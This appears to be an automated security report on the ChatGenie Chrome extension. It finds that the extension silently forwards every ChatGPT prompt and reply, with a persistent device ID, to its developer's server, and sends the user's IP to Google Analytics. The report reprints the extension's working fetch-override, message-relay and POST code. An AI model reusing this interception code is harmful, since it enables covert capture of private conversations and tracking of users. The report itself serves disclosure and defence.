Is ChatGenie for Chatgpt safe?
ChatGenie is high risk. ChatGenie reads every message you send ChatGPT and every reply it gives, then forwards the full text to a server the developer controls, along with a persistent per-device ID. We confirmed this with a planted test prompt.…
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
ChatGenie sends every ChatGPT prompt and reply to a third-party server
ChatGenie reads every message you send ChatGPT and every reply it gives, then forwards the full text to a server the developer controls, along with a persistent per-device ID.
We confirmed this with a planted test prompt.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Dynamic sandbox
You type a message to ChatGPT on chatgpt.com and wait for its reply to finish streaming.
No extension UI action is needed; this happens on ordinary use of chatgpt.com.
The extension reconstructs your full message and ChatGPT's full reply from the network response, then sends both to a server it controls.
A persistent per-device ID is attached to the request.
Fetch override captures the conversation, then the service worker POSTs it out
MAIN-world fetch override
content-script-main.jsfunction installFetchOverride() { if (!location.href.toLowerCase().startsWith('https://chatgpt.com/')) return false; const { fetch: originalFetch } = window; function isConversationRequest(url) { try { return new URL(url).pathname.endsWith('/conversation'); } catch { return false; } } window.fetch = async (...args) => { const [request, init] = args; const url = request.url || request.toString(); const response = await originalFetch(...args); const contentType = response.headers.get('content-type') || ''; if (!isConversationRequest(url) || !contentType.includes('text/event-stream')) { return response; } let requestBody; try { requestBody = JSON.parse(init.body); } catch {} let conversationId = requestBody.conversation_id; const outgoingMessages = requestBody.messages; const { readable, writable } = new TransformStream(); if (response.body) { const reader = response.body.getReader(); const writer = writable.getWriter(); const decoder = new TextDecoder(); let buffer = '', replyText = '', replyMessageId = '', model = ''; (async () => { while (true) { const { done, value } = await reader.read(); if (done) break; buffer += decoder.decode(value, { stream: true }); let boundary; while ((boundary = buffer.indexOf('\n\n')) !== -1) { const rawEvent = buffer.slice(0, boundary).trim(); buffer = buffer.slice(boundary + 2); if (!rawEvent) continue; const evt = parseSSE(rawEvent); if (evt.event === 'delta' || evt.event === 'message') { let data; try { data = JSON.parse(evt.data); } catch {} if (data) { if (typeof data.v === 'string') { replyText += data.v; } else if (data.v && data.v.length > 0) { for (const op of data.v) { if (op.v && op.o === 'append' && typeof op.v === 'string') replyText += op.v; } } else if (data.v && data.v.message && data.v.message.id) { replyMessageId = data.v.message.id; } else if (data.metadata) { if (data.conversation_id) conversationId = data.conversation_id; if (data.metadata.model_slug) model = data.metadata.model_slug; } } } writer.write(value); } } writer.close(); for (const msg of outgoingMessages || []) { if (msg.content && msg.content.parts && msg.content.parts.length > 0) { postToPage({ client_ts: Date.now(), session_id: conversationId, message_id: msg.id, chat_domain: 'chatgpt.com', model, prompt: msg.content.parts.join(''), role: 'user', is_subscribed: false, language: '' }); } } postToPage({ client_ts: Date.now(), session_id: conversationId, message_id: replyMessageId, chat_domain: 'chatgpt.com', model, prompt: replyText, role: 'system', is_subscribed: false, language: '' }); })(); return new Response(readable, { headers: response.headers, status: response.status, statusText: response.statusText }); } return response; }; return true;};function postToPage(payload) { window.postMessage({ source: 'content-script', payload });}function parseSSE(rawEvent) { const lines = rawEvent.split(/\r?\n/); const evt = { event: 'message', data: '', id: '', retry: '' }; for (const line of lines) { if (line.startsWith(':')) continue; const [field, ...rest] = line.split(':'); const value = rest.join(':').trimStart(); if (field === 'event') evt.event = value; else if (field === 'data') evt.data += value + '\n'; else if (field === 'id') evt.id = value; else if (field === 'retry') evt.retry = value; } if (evt.data.endsWith('\n')) evt.data = evt.data.slice(0, -1); return evt;}Isolated-world relay to the background service worker
content-script.jsconst MSG_TYPE = 'leak_prevention_msg';function relayToBackground() { if (window.top !== window) return false; // only run in the top frame return window.addEventListener('message', (event) => { if (event.source !== window || !event.data || event.data.source !== 'content-script') return; chrome.runtime.sendMessage({ type: MSG_TYPE, data: event.data.payload }); }), true;}Background service worker POSTs to the leak-prevention endpoint
background.jsconst MSG_TYPE = 'leak_prevention_msg';const LEAK_PREVENTION_ENDPOINT = 'https://api.chatgpt-chrome.com/api/leakprevention/v2/check';function showSensitiveWarning() { alert("Your prompt may have sensitive information inside. This message won't be shown again for this tab.");}async function submitForScreening(payload, tabId) { payload.cid = await Analytics.getOrCreateClientId(); // persistent per-device UUID, reused forever const response = await fetch(LEAK_PREVENTION_ENDPOINT, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(payload) }); if (response.ok) { const result = await response.json(); if (result.verdict === 'unsafe' && tabId) { const shownKey = `shown_${tabId}`; const alreadyShown = await chrome.storage.session.get([shownKey]); if (!alreadyShown[shownKey]) { await chrome.storage.session.set({ [shownKey]: true }); await chrome.scripting.executeScript({ target: { tabId }, func: showSensitiveWarning }); } } }}function initLeakPreventionListener() { chrome.runtime.onMessage.addListener((message, sender) => { if (message && message.type === MSG_TYPE) { submitForScreening(message.data, sender.tab && sender.tab.id); } }); return true;}200 OK with a JSON {verdict} field; when verdict is 'unsafe' the extension shows a one-time in-page warning, but the prompt has already left the device regardless of the verdict.
- Content-Type
- application/json
{ "client_ts": 1725389421000, "session_id": "68a1e4c2-1f09-4b7a-9c3e-2d6f8a1b7c44", "message_id": "a3f7e912-88c4-4a1b-9e02-7d5c1f3a9b60", "chat_domain": "chatgpt.com", "model": "gpt-4o", "prompt": "What are the side effects of ibuprofen? (illustrative)", "role": "user", "is_subscribed": false, "language": "", "cid": "4e1a9f7c-2b83-4c56-8e70-1a9d3f6b7c02"}- Your message textWhat are the side effects of ibuprofen?
The full text you typed to ChatGPT, unmodified.
- ChatGPT's reply textCommon side effects of ibuprofen include stomach upset...
The full text of the AI's response to your message.
- Device ID (cid)4e1a9f7c-2b83-4c56-8e70-1a9d3f6b7c02
A UUID stored in chrome.storage.local and reused indefinitely, tying every submission back to the same device.
- Conversation ID68a1e4c2-1f09-4b7a-9c3e-2d6f8a1b7c44
ChatGPT's own conversation identifier, letting the receiving server group your messages by conversation.
- Model usedgpt-4o
Which ChatGPT model produced the answer.
- api.chatgpt-chrome.com
Receives the full prompt and AI reply text plus the persistent device ID on every ChatGPT conversation turn. Operated by ChatGenie's developer, not OpenAI.
Persistent UUID and public IP forwarded to Google Analytics on every startup
Each time the extension starts, it generates or reuses a persistent ID and fetches your public IP from a third party, both sent to Google Analytics with a session ID for cross-restart tracking.
Also sent to the extension's screening server.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-200
- Source
- Dynamic sandbox
- Content-Type
- application/json
{ "client_id": "0e76aeab-713b-44d2-9be7-24ec739415f2", "ip_override": "82.3.220.102", "events": [ { "name": "run", "params": { "session_id": "1717750412831", "engagement_time_msec": 100 } } ]}- www.google-analytics.com
GA4 Measurement Protocol analytics receiver
- checkip.amazonaws.com
Public IP address lookup (plain-text response)
- api.chatgpt-chrome.com
Extension developer's prompt-screening / leak-prevention API
What it can do
Permissions this extension asks for, as declared in version 1.1.6. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on every site you visit
<all_urls>
Schedule its own background tasks
alarms
Store data in your browser
storage
Add items to the right-click menu
contextMenus
Run its own code inside the pages you visit
scripting
Block and redirect the requests your browser makes
declarativeNetRequest